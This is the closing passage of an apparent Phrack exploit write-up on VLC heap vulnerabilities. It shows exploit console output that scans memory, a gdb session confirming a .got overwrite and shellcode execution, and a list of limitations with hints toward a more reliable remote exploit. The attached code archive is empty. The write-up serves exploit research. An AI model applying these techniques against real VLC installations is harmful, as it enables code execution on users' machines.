0x28b394c0...0x28b39500...0x28b39540...0x28b39580...0x28b395c0...
0x28b39600...0x28b39640...0x28b39680...0x28b396c0...0x28b39700...
0x28b39740...0x28b39780...0x28b397c0...0x28b39800...0x28b39840...
0x28b39880...0x28b398c0...0x28b39900...0x28b39940...0x28b39980...
0x28b399c0...0x28b39a00...0x28b39a40...0x28b39a80...0x28b39ac0...
0x28b39b00...0x28b39b40...0x28b39b80...0x28b39bc0...0x28b39c00...
0x28b39c40...0x28b39c80...0x28b39cc0...0x28b39d00...0x28b39d40...
0x28b39d80...0x28b39dc0...0x28b39e00...0x28b39e40...0x28b39e80...
0x28b39ec0...0x28b39f00...0x28b39f40...0x28b39f80...0x28b39fc0...
0x28b3a080...0x28b3a0c0...0x28b3a100...0x28b3a140...0x28b3a180...
0x28b3a1c0...0x28b3a200...0x28b3a240...0x28b3a280...0x28b3a2c0...
0x28b3a300...0x28b3a340...0x28b3a380...0x28b3a3c0...0x28b3a400...
0x28b3a440...0x28b3a480...0x28b3a4c0...0x28b3a500...0x28b3a540...
0x28b3a580...0x28b3a5c0...0x28b3a600...0x28b3a640...0x28b3a680...
0x28b3a6c0...0x28b3a700...0x28b3a740...0x28b3a780...0x28b3a7c0...
0x28b3a800...0x28b3a840...0x28b3a880...0x28b3a8c0...0x28b3a900...
0x28b3a940...0x28b3a980...0x28b3a9c0...0x28b3aa00...0x28b3aa40...
0x28b3aa80...0x28b3aac0...0x28b3ab00...0x28b3ab40...0x28b3ab80...
0x28b3abc0...0x28b3ac00...0x28b3ac40...0x28b3ac80...0x28b3acc0...
0x28b3ad00...0x28b3ad40...0x28b3ad80...0x28b3adc0...0x28b3ae00...
0x28b3ae40...0x28b3ae80...0x28b3aec0...0x28b3af00...0x28b3af40...
0x28b3af80...0x28b3afc0...0x28b3b080...0x28b3b0c0...0x28b3b100...
0x28b3b140...0x28b3b180...0x28b3b1c0...0x28b3b200...0x28b3b240...
0x28b3b280...0x28b3b2c0...0x28b3b300...0x28b3b340...0x28b3b380...
0x28b3b3c0...0x28b3b400...0x28b3b440...0x28b3b480...0x28b3b4c0...
0x28b3b500...0x28b3b540...0x28b3b580...0x28b3b5c0...0x28b3b600...
0x28b3b640...0x28b3b680...0x28b3b6c0...0x28b3b700...0x28b3b740...
0x28b3b780...0x28b3b7c0...0x28b3b800...0x28b3b840...0x28b3b880...
0x28b3b8c0...0x28b3b900...0x28b3b940...0x28b3b980...0x28b3b9c0...
0x28b3ba00...0x28b3ba40...0x28b3ba80...0x28b3bac0...0x28b3bb00...
0x28b3bb40...0x28b3bb80...0x28b3bbc0...0x28b3bc00...0x28b3bc40...
0x28b3bc80...0x28b3bcc0...0x28b3bd00...0x28b3bd40...0x28b3bd80...
0x28b3bdc0...0x28b3be00...0x28b3be40...0x28b3be80...0x28b3bec0...
0x28b3bf00...0x28b3bf40...0x28b3bf80...0x28b3bfc0...0x28bac080...
0x28bac0c0...0x28bac100...0x28bac140...0x28bac180...0x28bac1c0...
0x28bac200...0x28bac240...0x28bac280...0x28bac2c0...0x28bac300...
0x28bac340...0x28bac380...0x28bac3c0...0x28bac400...0x28bac440...
0x28bac480...0x28bac4c0...0x28bac500...0x28bac540...0x28bac580...
0x28bac5c0...0x28bac600...0x28bac640...0x28bac680...0x28bac6c0...
0x28bac700...0x28bac740...0x28bac780...0x28bac7c0...0x28bac800...
0x28bac840...0x28bac880...0x28bac8c0...0x28bac900...0x28bac940...
0x28bac980...0x28bac9c0...0x28baca00...0x28baca40...0x28baca80...
0x28bacac0...0x28bacb00...0x28bacb40...0x28bacb80...0x28bacbc0...
0x28bacc00...0x28bacc40...0x28bacc80...0x28baccc0...0x28bacd00...
0x28bacd40...0x28bacd80...0x28bacdc0...0x28bace00...0x28bace40...
0x28bace80...0x28bacec0...0x28bacf00...0x28bacf40...0x28bacf80...
0x28bacfc0...0x28bad080...0x28bad0c0...0x28bad100...0x28bad140...
0x28bad180...0x28bad1c0...0x28bad200...0x28bad240...0x28bad280...
0x28bad2c0...0x28bad300...0x28bad340...0x28bad380...0x28bad3c0...
0x28bad400...0x28bad440...0x28bad480...0x28bad4c0...0x28bad500...
0x28bad540...0x28bad580...0x28bad5c0...0x28bad600...0x28bad640...
0x28bad680...0x28bad6c0...0x28bad700...0x28bad740...0x28bad780...
0x28bad7c0...0x28bad800...0x28bad840...0x28bad880...0x28bad8c0...
0x28bad900...0x28bad940...0x28bad980...0x28bad9c0...0x28bada00...
0x28bada40...0x28bada80...0x28badac0...0x28badb00...0x28badb40...
0x28badb80...0x28badbc0...0x28badc00...0x28badc40...0x28badc80...
0x28badcc0...0x28badd00...0x28badd40...0x28badd80...0x28baddc0...
0x28bade00...0x28bade40...0x28bade80...0x28badec0...0x28badf00...
0x28badf40...0x28badf80...0x28badfc0...0x28bae080...0x28bae0c0...
0x28bae100...0x28bae140...0x28bae180...0x28bae1c0...0x28bae200...
0x28bae240...0x28bae280...0x28bae2c0...0x28bae300...0x28bae340...
0x28bae380...0x28bae3c0...0x28bae400...0x28bae440...0x28bae480...
0x28bae4c0...0x28bae500...0x28bae540...0x28bae580...0x28bae5c0...
0x28bae600...0x28bae640...0x28bae680...0x28bae6c0...0x28bae700...
0x28bae740...0x28bae780...0x28bae7c0...0x28bae800...0x28bae840...
0x28bae880...0x28bae8c0...0x28bae900...0x28bae940...0x28bae980...
0x28bae9c0...0x28baea00...0x28baea40...0x28baea80...0x28baeac0...
0x28baeb00...0x28baeb40...0x28baeb80...0x28baebc0...0x28baec00...
0x28baec40...0x28baec80...0x28baecc0...0x28baed00...0x28baed40...
0x28baed80...0x28baedc0...0x28baee00...0x28baee40...0x28baee80...
0x28baeec0...0x28baef00...0x28baef40...0x28baef80...0x28baefc0...
0x28baf080...0x28baf0c0...0x28baf100...0x28baf140...0x28baf180...
0x28baf1c0...0x28baf200...0x28baf240...0x28baf280...0x28baf2c0...
0x28baf300...0x28baf340...0x28baf380...0x28baf3c0...0x28baf400...
0x28baf440...0x28baf480...0x28baf4c0...0x28baf500...0x28baf540...
0x28baf580...0x28baf5c0...0x28baf600...0x28baf640...0x28baf680...
0x28baf6c0...0x28baf700...0x28baf740...0x28baf780...0x28baf7c0...
0x28baf800...0x28baf840...0x28baf880...0x28baf8c0...0x28baf900...
0x28baf940...0x28baf980...0x28baf9c0...0x28bafa00...0x28bafa40...
0x28bafa80...0x28bafac0...0x28bafb00...0x28bafb40...0x28bafb80...
0x28bafbc0...0x28bafc00...0x28bafc40...0x28bafc80...0x28bafcc0...
0x28bafd00...0x28bafd40...0x28bafd80...0x28bafdc0...0x28bafe00...
0x28bafe40...0x28bafe80...0x28bafec0...0x28baff00...0x28baff40...
0x28baff80...0x28baffc0...ok
[~] Forcing shellcode execution
[~] Playing MP4 file 1 times
.ok
[~] Done
The console on the other side looks like the following:
Program received signal SIGTRAP, Trace/breakpoint trap.
0x28919b01 in ?? ()
The exploit output informs us that the .got entry for memset() lies
at 0x284edea8. Let's verify...
(gdb) x/4bx 0x284edea8
0x284edea8: 0x00 0x9b 0x91 0x28
(gdb) x/i 0x28919b00
0x28919b00: int3
Obviously, it has been overwritten with the pointer to our ASM
instructions. The 'SIGTRAP' informs us that EIP landed on top of them.
(gdb) quit
A debugging session is active.
Inferior 1 [process 2078] will be killed.
Quit anyway? (y or n) y
If you decide no to use gdb (that's what real men do), the following
message will pop up upon successful exploitation.
Trace/BPT trap: 5 (core dumped)
--[ 7 - Limitations
As we promised, we will give a list of the factors that limit our
exploit's reliability. People interested in improving our code should
first have a look below.
1 - Back in the section we analyzed the RMF vulnerability, we said that
the memory range we want leaked, is trashed with 'i_frame_size' bytes;
in our exploit code we use a frame size of 20, so, 20 bytes end up being
written at the target address. Apparently, because of this trashing of the
target memory, we cannot leak .text or any other read only mapping from
the target application, since attempting to write on it will terminate
VLC with a segmentation violation. Quick tests show that we cannot somehow
set 'i_frame_size' to 0 so that 'memcpy()' becomes a nop. Nevertheless,
the interested reader is advised to analyze this further and find a way
to bypass this limitation.
Note: Recall the RMF vulnerability; a function pointer overwrite is
possible. Managing to leak .text addresses means you can do automated
remote ROP gadget harvesting in order to write a reliable exploit ;)
2 - For some reason we are not aware of, requesting a memory leak of
more than 8MB returns no data at all. Maybe this is related to the output
filters splitting the 'p_blocks' in smaller parts, or maybe not ;p This
is a very important limitation, since smaller leaked data chunks means
more requests for leaked memory which in turn implies more memory being
trashed. Consequently, more data we shouldn't touch may be modified
resulting in an unexpected crash of VLC.
3 - Unfortunately, there's at least one logical bug within VLC;
a logical bug related to input buffering and the clients receiving
network streams. When we have some free time we may report it to the VLC
developers :p More logical bugs that confine the exploitation process'
reliability may be present. A reliable one shot exploit requires a
harder study of VLC's source code (yeah, as if we have nothing better
to deal with).
4 - The exploit assumes that 64-byte regions usually lie between 0x28700000
and 0x28e00000 and tries to locate them. Some times the heap extends
beyond that range. We have to find a way to figure this out, get the
topmost heap address and explore the whole region. Doing that in a
reliable way requires problem 2 to be solved first.
5 - In section 5.2 we analyzed how the 'p_root' candidates are located. The
process described in the aforementioned section takes into account only the
bins of the first arena, but VLC, being a multithreaded application,
initializes more than one. We believe it's possible to detect those extra
arenas, locate their bin-64 addresses and take them into account as well.
Alternatively, one may leak and analyze the TLS data of each thread thus
locating their magazine racks, their magazines and the 'rounds[]' array
corresponding to 64-byte regions.
6 - In step 6 of section 5.2 we said that all regions of the detected runs
will eventually be freed by our special MP4 file in hope that 'p_root' will
lie somewhere within them. Although we do our best to fill heap holes, this
process may result in a segmentation fault due to the fact that regions
already freed are freed for a second time. It is possible to avoid this by
having a look at the target runs' region bitmap and freeing only those
regions that seem to be allocated. We didn't have the time to implement
this but we believe it's trivial (take a look at the comments in the
exploit's 'main.py').
If you manage to solve any of these problems, please let us know; don't
be a greedy pussy ;)
--[ 8 - Final words
Exploit development is definitely a hard task; Do you think that the money
offered by [censored] is worth the trouble?
In this article, which is short compared to our efforts during the exploit
development, we tried to give as much detail as possible. Unfortunately
there's no way for us to present every minor detail; a deeper look into
VLC's source code is required. All that jemalloc stuff was fun but
tiresome. We think it's about time we take some time off :) We would like
to thank the Phrack staff for being the Phrack staff, our grhack.net
colleagues and all our friends that still keep it real. Our work is
dedicated to all those 'producers' of the security ecosystem that keep
their mouth shut and put their brains to work. Love, peace and lots of #.
--[ 9 - References
[1] vl4d1m1r of ac1db1tch3z, The art of exploitation: Autopsy of cvsxpl
http://www.phrack.org/issues.html?issue=64&id=15&mode=txt
[2] Feline Menace, Technical analysis of Samba WINS stack overflow
http://www.phrack.org/issues.html?issue=65&id=12&mode=txt
[3] GOBBLES, Local/remote mpg123 exploit
http://www.securityfocus.com/archive/1/306476
[4] VLC Security Advisory 1103
http://www.videolan.org/security/sa1103.html
[5] Chapter 4. Examples for advanced use of VLC's stream output
(transcoding, multiple streaming, etc...)
http://www.videolan.org/doc/streaming-howto/en/ch04.html
[6] VLC Security Advisory 1105
http://www.videolan.org/security/sa1105.html
[7] RealAudio
http://en.wikipedia.org/wiki/RealAudio
[8] RealAudio sipr
http://wiki.multimedia.cx/index.php?title=RealAudio_sipr
--[ 10 - T3h l337 c0d3z
begin 644 vlc_lulz_v0.1.tar.gz
end
--[ EOF